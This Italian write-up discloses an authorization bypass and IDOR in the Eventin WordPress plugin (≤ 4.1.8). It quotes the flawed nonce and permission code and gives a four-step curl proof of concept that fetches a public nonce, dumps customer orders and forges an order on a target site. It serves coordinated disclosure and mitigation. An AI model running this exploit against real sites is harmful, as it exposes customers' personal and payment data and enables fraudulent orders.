Quando || diventa una vulnerabilità
Come un endpoint REST pubblico che distribuisce nonce wp_rest — e un singolo || in tre permission callback — hanno annullato l’autorizzazione su 10.000+ siti WordPress che usano il plugin Eventin.
Il 29 aprile 2026 Patchstack ha divulgato pubblicamente una vulnerabilità che ho riportato in Eventin (wp-event-solution), un plugin WordPress per eventi, ticketing e registrazioni con 10.000+ installazioni attive. Le versioni ≤ 4.1.8 permettevano a qualsiasi visitatore non autenticato di leggere ogni ordine cliente — nomi completi, email, numeri di telefono, metodi di pagamento e l’intero elenco di partecipanti — e di creare ordini arbitrari. Il fix è nella versione 4.1.9.
La parte interessante non è una singola configurazione errata. È la composizione di due decisioni di design che, prese singolarmente, sembrano accettabili: un endpoint pubblico che distribuisce un nonce CSRF, e dei permission callback che accettano quel nonce come autenticazione. La seconda decisione trasforma la prima in un bypass totale dell’autorizzazione.
Premessa: i nonce di WordPress sono token CSRF, non autenticazione
La funzione wp_create_nonce() di WordPress deriva un token corto e a tempo dal nome dell’azione, dal session token dell’utente e da un tick di 12 ore. Per le richieste autenticate il token è legato all’utente. Per le richieste non autenticate la componente “user id” è 0 — il che significa che il nonce è verificabile da qualsiasi altro contesto non autenticato che conosca lo stesso nome di azione.
Questa proprietà va benissimo quando il nonce viene usato per ciò per cui è stato progettato: proteggere le richieste che modificano stato dagli attacchi CSRF. Diventa un problema nel momento in cui un permission check lo tratta come sostituto dell’identità.
L’endpoint che regala il nonce
Eventin registra una rotta REST pubblica il cui unico scopo è restituire un nonce wp_rest fresco a chiunque chiami:
add_action( 'rest_api_init', function () {
register_rest_route( 'eventin/v1', '/nonce', [
'methods' => \WP_REST_Server::READABLE,
'permission_callback' => '__return_true',
'callback' => function () {
nocache_headers();
return rest_ensure_response( [ 'nonce' => wp_create_nonce( 'wp_rest' ) ] );
},
] );
} );L’intento è plausibile. I form frontend del plugin necessitano di un nonce wp_rest e lo sviluppatore ha scelto di recuperarlo on-demand invece di incorporarlo nell’HTML della pagina via wp_localize_script(). L’assunzione fatale è che il nonce, da solo, identifichi chi sta facendo la richiesta. Non lo fa. Da quando esiste questo endpoint, un nonce wp_rest valido è pubblicamente disponibile a chiunque — un fatto che i controller a valle non considerano.
Tre controller a valle scambiano il nonce per autorizzazione
Il primo è il più istruttivo, perché il bug si nasconde dietro codice apparentemente sensato:
public function get_item_permissions_check( $request ) {
return current_user_can( 'etn_manage_event' )
|| wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' );
}Letto in italiano: “la richiesta è autorizzata se l’utente corrente può gestire eventi, OPPURE se la richiesta porta un nonce wp_rest valido”. Combinato col distributore di nonce pubblico visto sopra, il secondo ramo è sempre soddisfacibile da qualsiasi attaccante non autenticato. Il capability check sulla sinistra dell’|| diventa irrilevante.
Gli altri due controller sono ancora più semplici — nessun capability check:
public function create_item_permissions_check( $request ) {
return wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' );
}public function create_payment_permission_check($request) {
$nonce = $request->get_header('X-WP-Nonce');
return wp_verify_nonce($nonce, 'wp_rest');
}Questo pattern si ripresenta nel codice dei plugin in tutto l’ecosistema WordPress ogni volta che uno sviluppatore vuole “supportare sia AJAX da admin loggati che AJAX dal frontend”. L’errore è trattare la protezione CSRF (che è ciò che wp_verify_nonce fornisce) come autenticazione. Sono concetti ortogonali:
- La protezione CSRF risponde a: questa richiesta è partita da una pagina servita dalla mia applicazione, o da un sito terzo che inganna il browser dell’utente?
- L’autorizzazione risponde a: l’utente identificato da questa richiesta è autorizzato a compiere questa azione?
Un nonce può rispondere alla prima domanda. Non può rispondere alla seconda. Devono essere combinati con &&, mai con ||.
Un IDOR separato rende banale l’enumerazione degli ordini
Anche se il check di autorizzazione fosse progettato correttamente, l’handler di lettura continuerebbe a esporre qualsiasi ordine a qualsiasi caller che lo raggiunga, perché non c’è alcuna verifica di ownership:
public function get_item( $request ) {
$id = intval( $request['id'] );
$order = new OrderModel( $id );
$response = $this->prepare_item_for_response( $order, $request );
return rest_ensure_response( $response );
}Gli ID degli ordini sono ID sequenziali dei post WordPress (wp_posts.ID), perciò un attaccante che raggiunga questo endpoint può dumpare ogni ordine con /orders/1, /orders/2, … I campi serializzati per ogni ordine includono customer_fname, customer_lname, customer_email, customer_phone, payment_method, total_price e l’intero elenco partecipanti (nomi, email, telefoni, ID ticket).
Per buona misura: un endpoint di prenotazione posti completamente aperto
register_rest_route( $this->namespace, $this->rest_base.'/book-seats', [
[
'methods' => WP_REST_Server::CREATABLE,
'callback' => [$this, 'book_seats'],
'permission_callback' => function( $request ) {
return true;
},
],
] );Niente nonce, niente capability check — solo return true. Un attaccante non autenticato può prenotare tutti i posti disponibili per un evento a posti assegnati, negando l’acquisto a chi compra ticket regolarmente.
Riproduzione
End-to-end, bastano quattro richieste non autenticate per dumpare e forgiare dati:
# 1. Recupera un nonce wp_rest come visitatore non autenticato
NONCE=$(curl -s https://TARGET/wp-json/eventin/v1/nonce | jq -r .nonce)
# 2. Leggi un ordine qualunque per ID sequenziale — IDOR + bypass auth
curl -s -H "X-Wp-Nonce: $NONCE" https://TARGET/wp-json/eventin/v2/orders/21 | jq .
# 3. Conferma che il nonce è l'unico layer di auth: stessa richiesta senza header → 401
curl -s https://TARGET/wp-json/eventin/v2/orders/21 | jq .
# 4. Crea un ordine fake con dati a scelta dell'attaccante
curl -s -X POST \
-H "X-Wp-Nonce: $NONCE" \
-H "Content-Type: application/json" \
-d '{"event_id":1,"customer_fname":"Attacker","customer_email":"a@evil.com","tickets":[{"ticket_slug":"general","quantity":1}],"attendees":[{"name":"Attacker","email":"a@evil.com","ticket_slug":"general"}]}' \
https://TARGET/wp-json/eventin/v2/orders | jq .Lo step 3 è il momento diagnostico: ritorna { "code":"rest_forbidden", "data":{"status":401} }, confermando che è proprio il nonce — quello che chiunque può recuperare nello step 1 — ciò che il controller sta trattando come autenticazione.
Perché questo si generalizza al di là di WordPress
Il bug specifico è un idiom WordPress (wp_verify_nonce + current_user_can). L’errore di fondo è generale: confondere la protezione CSRF con l’autenticazione.
Versioni equivalenti di questo bug compaiono in:
- Express / Node.js con il middleware
csurfusato come se implementasse la validazione di sessione. - Spring / Java dove la policy del DSL
HttpSecurity.csrf()viene trattata come sostituto delle annotazioni@PreAuthorizeo delle regole di autorizzazione diSecurityFilterChain. - Django dove i decoratori
@csrf_exempto@csrf_protectvengono ragionati come se influissero sulla catenalogin_required/permission_required. - Qualsiasi framework che adotti una difesa CSRF basata su “double-submit cookie” o “synchronizer token” ed esponga una rotta per recuperare il token senza autenticazione.
La raccomandazione difensiva è la stessa in ogni framework: i token CSRF sono pubblici per design una volta che l’utente ha caricato la pagina; ciò che protegge l’accesso è identità + capability, verificata su ogni richiesta che modifica stato, composta con &&, mai con ||.
Timeline della disclosure
| Data | Evento |
|---|---|
| 2026-03-10 | Report inviato a Patchstack |
| 2026-04-07 | Il vendor rilascia Eventin 4.1.9 (fix) |
| 2026-04-13 | Milestone di coordinamento (Patchstack) |
| 2026-04-29 | Disclosure pubblica (advisory Patchstack) |
| 2026-05-01 | I tracker terzi raccolgono il CVE (WP-Firewall, Managed-WP, SolidWP) |
| 2026-05-05 | Pubblicazione di questo writeup |
Mitigazione
Aggiornare wp-event-solution alla versione 4.1.9 o successiva. Per le release precedenti non esiste un workaround in-version: l’unica alternativa è disabilitare il plugin o bloccare le rotte REST interessate a livello di web server / WAF (/wp-json/eventin/v1/nonce, /wp-json/eventin/v2/orders*, /wp-json/eventin/v2/payments, /wp-json/eventin/v2/orders/book-seats).
Per gli autori di plugin: se serve un nonce per i form frontend, va incorporato via wp_localize_script() nell’HTML della pagina che l’utente ha già caricato autenticato — non come endpoint REST pubblico. E il capability check va sempre tenuto sul lato sinistro di un &&, non sul lato sinistro di un ||.
Advisory completo e PoC
Repository con l’advisory Patchstack-style completa, code review white-box, timeline di disclosure, riferimenti e uno script PoC riproducibile.
Lorenzo Fradeani è un security researcher indipendente focalizzato su vulnerability research di plugin WordPress e tooling di sicurezza offensiva. Disponibile per collaborazioni AppSec e ingaggi di pentest da Massa-Carrara e completamente da remoto. Contattami.